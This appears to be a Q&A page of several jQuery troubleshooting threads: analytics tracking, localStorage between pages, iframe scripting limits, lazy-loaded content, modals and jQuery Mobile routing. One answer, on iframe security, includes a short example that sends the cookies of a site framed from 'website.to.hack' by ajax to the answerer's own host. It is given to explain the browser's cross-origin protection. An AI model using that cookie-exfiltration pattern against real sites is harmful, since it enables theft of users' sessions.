Html element disappearing in production - javascript

I'm working on an website where we insert a piece of html into the page when a user signs up e.g.
<span data-log-in-status="complete-sign-up" data-log-in-type="email" id="log_in_status" style="display:none;"></span>
We then have a page load event which finds this element, and pushes this info to Google analytics. In development I can see this element in the page source, in production however, this element is no-where to be found...
This being said however - the analytics complete-sign-up event is fired in both environments!
I'd really like to understand what's going on however - it's like the element appears in the page (the analytics event fires the correct data off) but then disappears... The only thing I can think of is if a piece of javascript somehow removes this element, or if the browser removes it.
Here's a screenshot of what's happening on the network:
Here's the javascript code which gets this data and pushes it to analytics:
$(document).ready(function () {
var status, loginStatus;
loginStatus = $('#log_in_status');
if(loginStatus) {
login_type = $(loginStatus[0]).attr('data-log-in-type');
status = $(loginStatus[0]).attr('data-log-in-status');
pushGAEvent(status, login_type, null, null);
if(status === 'complete-sign-up') {
goog_report_conversion(); //adwords
}
}
});
Thoughts?

Your code will always fire, regardless of weather or not the element exists, as even empty jQuery objects evaluate to true.
Try:
if (loginStatus.length > 0)
instead of:
if (loginStatus)

Related

How do I make a JS function triggered in one HTML page edit elements defined in a second HTML page?

Basically I have two HTML pages, and both are connected to the same JS file. I want a function triggered by an event handler element in the first HTML to edit an element in the second HTML page, and then open it.
Here's a very basic example:
$("#p1").click(function() {
$("#p2el").text("TEST");
})
<button id="p1">CLICK</button>
In this example, the button p1 is defined in the first HTML, and the p2el element is defined in a second HTML page, both linked to the same JS file.
In the above example, I also used location.href inside the function. The idea being that, the element is edited, and automatically the second HTML page is loaded.
It's not working, and I don't know why. The second HTML page loads, but the element p2el is not edited.
I suspect this is has to do with data not transferring to the second HTML, but I am not sure why and what is happening exactly. I tried using localStorage inside the function, and then use the stored data as a condition that edits the element in the second HTML page...
function second() {
if(localStorage["key"] == "on") {
$("#p2el").text("TEST");
location.href = "secondpage.html"
}
}
$("#p1").click(function() {
localStorage["key"] = "on";
second()
})
... but It didn't work.
I hope somebody can help me out.
Navigating to a new page completely resets the "JavaScript envirionment".
Your JS files are reloaded, everything starts anew. Some things persist through page loads, such as local storage and cookies, but function calls certainly don't.
To do what you want to do, you'll need to:
Listen to the click event, and save the fact it was clicked somewhere.
(You're already doing this)
On page load, check the storage to determine whether or not the button was clicked at some time. If it was, do whatever you want. You will probably want to reset the stored value so this happens only once.
This will probably do the trick for you:
if(localStorage["key"] === true) {
localStorage["key"] = false; // reset the key.
$("#p2el").text("TEST");
}
$("#p1").click(function() {
localStorage["key"] = true;
location.href = "secondpage.html"
});

Event "load" on iframe triggers successfully but iframe can't be targeted

I've successfully created a snippet of code that takes a CSV array and through an IFRAME drop the text into Wikipedia's search bar and click the search button. Unfortunately, after loading, I'm unable to target the IFRAME's content any longer. I've also nested two load event handlers with the intent to wait for each page to complete loading.
I have the handlers set to unbind/off after firing and that seems to prevent "duplicate events" from firing. I've tried a couple of tactics to determine if the event handler is triggering at the right time along with changing the target ID but not certain what else to try at this point. I suspect the 2nd event handler is triggering while on the previous page since it already triggered ready but the "appends" seem to work as expected.
$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
$("#iframeTarget").unbind();
$("#iframeTarget").off();
$("#iframeTarget").attr("id","iframeTarget2");
$("#debugwindow").append("start interior of 1<br>");
$("#iframeTarget2").on("load", function() {
$("#iframeTarget2").unbind();
$("#iframeTarget2").off();
$("#iframeTarget2").attr("id","iframeTarget3");
$("#debugwindow").append("start interior of 2<br>");
$("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
$("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
// $("#iframecont").html("I ruin everything!"); // targets iframe container as test
$("#debugwindow").append("end interior of 2<br>");
});
$(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
$(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page
$("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");
Looking for any insights into properly setting up the 2 event handlers or if my logic is wrong. Ideally, I will be able to fill the search bar, trigger the search, and then manipulate the DOM on the next loaded page.
This is because of security concerns in the browser. You will not be able to execute any script in the javascript iframe, as it exposes extreme risk if you're able to execute javascript code inside a remote iframe.
For example:
<iframe src="http://website.to.hack"></iframe>
$(iframe).load(() => {
$.ajax({
url: 'http://my.website',
data: iframe.document.cookie
});
});
Now I have all your cookies for that site. Unless that frame has a specific trust between your site and it, you're not going to be able to script. (You'll likely need a chrome extension for that).
See this post and thread for more information.

How to get the contents of a Third Party lazy loading page?

Via a Chrome extension, I'm trying to get and modify the contents of a third-party page. Everything works for the part of the content that's immediately visible on initial page load.
The problem is that this page has a lazy-load/ajax pagination. To get all of the content I have to click "view all" (ajax link) (and I believe this works essentially the same way as lazy-loading that's why I put that keyword in the title).
Upon clicking that link (on that third-party website) all content gets loaded and becomes visible to the user but when I view source there's still only the originally loaded content present in the source code. i.e. none of the freshly loaded content can be found anywhere when I view page source after the new content has been loaded. The content is visible to the end user but not visible to me when I check the source code.
Initially, I tried to overcome the problem by using setInteval and checking the page content every second but as that wasn't working I checked the source code and sure enough, none of the newly loaded content is visible in the source code. No wonder my Chrome extension can't get that content.
Another confusing thing I just realized when typing here:
When I view source code, even the initial HTML content that my Chrome extension is detecting/loading is NOT actually present in the source code! It actually sits in a JavaScript array. So, somehow, my Chrome extension is correctly getting the initial HTML content that's constructed from that JS array. But it's NOT getting the content that gets loaded after clicking the "view all" ajax link on that page (even though I'm using setInteval and checking for new content every second).
What are possible solutions for this?
I can't post the link to the page because it's the "my certificates" page on Lynda.com and I don't know of a publicly accessible website/page with the same behavior.
you should find the actual service running in network-panel, when lazy loading happens, and then follow following code
//recursively make calls and gatther responses. cb is callback to run on response, end is end page-no (end of recursion condition) , pageId is the attribute changing in every subsequent lazy-loading call.
var callIfRequiredConfigured = ({cb,end,step=1,pageURL,pageId})=>callIfRequired = ()=>{
currentCounter = currentCounter + step;
if (currentCounter > end) {
return;
}
(async(currentCounter)=>{
queueCounter++;
//modify this as needed
const r = await fetch(pageURL+currentCounter,{credentials:"same-origin"});
//queueCounter to not make more than 6 calls at once
if (queueCounter > 6) {
return;
}
var response = await r.text();
cb(response);
queueCounter--;
callIfRequired();
}
)(currentCounter);
};
var call = (config)=>{
const callIfRequired = callIfRequiredConfigured(config);
callIfRequired();
}
call({
cb: (response)=>{
//do somrthing with response
}
,
end: 50,
step: 1,
pageId: 'PageNumber=',
pageURL: `https://www.lynda.com/home/CertificateOfCompletion/GetCertificatesByFilter?Start=0&Limit=99999&SortBy=CompletionDate&SortByOrder=1&_=[my_personal_id]&PageNumber=`
});
So main effort will be to deduce the service endpoint here and how it changes in subsequest requests. I have updated the url given in comments, but see if the fetch call is successful. Also this url should also have [my_personal_id] as given in url.

Jquery can't seem to target contents of modal

I wish to append some content within form within a modal and so have created:
$('.simple_form').append("<p><a href='google.com'>Apply now</a></p>");
However, this does not appear to work -the HTML above deosnt not append, not do I see any errors in the console.
I can do other stuff on the page - append the text anywhere else, just not to part of the modal.
The site is using the Near Me platform, an example site of which is here: https://desksnear.me/
I am just trying to affect the modal that appears when you click Log In at the top right.
Would anyone know why this isn't working and what I could do to get back on track?
I think the modal gets created anew every time you click the Log In button. So the .simple_form changes get overwritten before they can be seen.
There isn't an ideal solution to this problem if you can't tap into an event that occurs when the modal is opened and all the content in it has been initialized. I would suggest using an interval to repeatedly check if the modal is visible (for some capped amount of time, in case something fails), and then insert your HTML code at that point.
$('.nav-link.header-second').click(function() {
var token = setInterval(function(modal) {
if (modal.hasClass('visible')) {
$('.simple_form').append("<p><a href='google.com'>Apply now</a></p>")
clearInterval(token)
}
}, 10, $('.modal-content'))
// set a limit on the interval in case of failure
setTimeout(clearInterval, 2000, token)
})
Wrap it in document ready, the element must be there when the code executes(assuming you already have the element with class .simple_form as hidden)
$(document).ready(function(){
$('.simple_form').append("<p><a href='google.com'>Apply now</a></p>");
});

Programmatically change first page jQuery Mobile shows

My goal is to show a different first page depending on whether the user is logged in or not. The login check happens using a synchronous Ajax call, the outcome of which decides whether to show a login dialog or the first user page.
The normal way to do this would be to set $.mobile.autoInitialize = false and then later on initialize programmatically, as described in the answer to this question. For some reason this won't work, instead another page gets loaded every single time.
I decided to give up on this way and try out a different parcour. I now use a placeholder, empty startup page that should be shown for as long as the login check takes. After the login check it should automatically change. This is done by calling a function that performs the ajax call needed for authentication on the pagechange event that introduces this startup page. The function takes care of changing to the outcome page as well.
The trick is that it doesn't quite do that.. Instead it shows the correct page for just a short time, then changes back to the placeholder. Calling preventDefault in pagechange didn't prevent this, as described in the tutorial on dynamic pages. Adding a timer fixed this, leading me to think that the placeholder wasn't quite finished when pageshow got fired (as per this page on page events), or some side-effect of the initial page load still lingered.
I'm really clueless as to how to fix this seemingly trivial, yet burdensome problem. What causes this extra change back to the initial page? Also, if my approach to intercepting the initial page load is wrong, what would be the correct approach instead?
I use jQuery Mobile 1.4.0 and jQuery 1.10.2 (1.8.3 before).
EDIT: Below is the code to my last try before I posted the question here. It does not work: preventDefault does not prevent the transition to the placeholder page.
$(document).on("pagebeforechange", function(e, data) {
if (typeof(data.options.fromPage) === "undefined" && data.toPage[0].id === "startup") {
e.preventDefault();
initLogin();
}
});
function initLogin() {
// ... Login logic
if (!loggedIn) // Pseudo
$('body').pagecontainer("change", "#login", {});
}
If you're using a Multi-page model, you can prevent showing any page on pagebeforechange event. This event fires twice for each page, once for the page which is about to be hidden and once for the page which is about to be shown; however, no changes is commenced in this stage.
It collects data from both pages and pass them to change page function. The collected data is represented as a second argument object, that can be retrieved once the event is triggered.
What you need from this object is two properties, .toPage and .options.fromPage. Based on these properties values, you decide whether to show first page or immediately move to another one.
var logged = false; /* for demo */
$(document).on("pagebeforechange", function (e, data) {
if (!logged && data.toPage[0].id == "homePage" && typeof data.options.fromPage == "undefined") {
/* immediately show login dialig */
$.mobile.pageContainer.pagecontainer("change", "#loginDialog", {
transition: "flip"
});
e.preventDefault(); /* this will stop showing first page */
}
});
data.toPage[0].id value is first page in DOM id.
data.options.fromPage should be undefined as it shouldn't be redirected from another page within the same webapp.
Demo
I'm undergoing the same problem as the one described by #RubenVereecken, that is, a coming back to the initial page once the cange to my second page has completed. In fact, he posed the question "What causes this extra change back to the initial page?" and it hasn't been replied yet.
Unfortunately, I don't know the reason since I haven't found how the page-event order works in JQM-1.4.2 yet, but fortunately, the workaround suggested by #Omar is working for me.
It's not exactly the same code but the general idea works at the time of preventing a coming back to the initial page. My code is as follows:
$(document).on("pagebeforechange", function(event, data) {
if ( typeof (data.toPage) == "string") {
if (data.toPage.indexOf("#") == -1 && typeof (data.options.fromPage[0].id) == string") {
event.preventDefault();
}
}});
The condition data.toPage.indexOf("#") == -1 is because I checked that all the undesired coming-backs to the initial page were happening when the property '.toPage' was set to something like [http://localhost/.../index.html].

Categories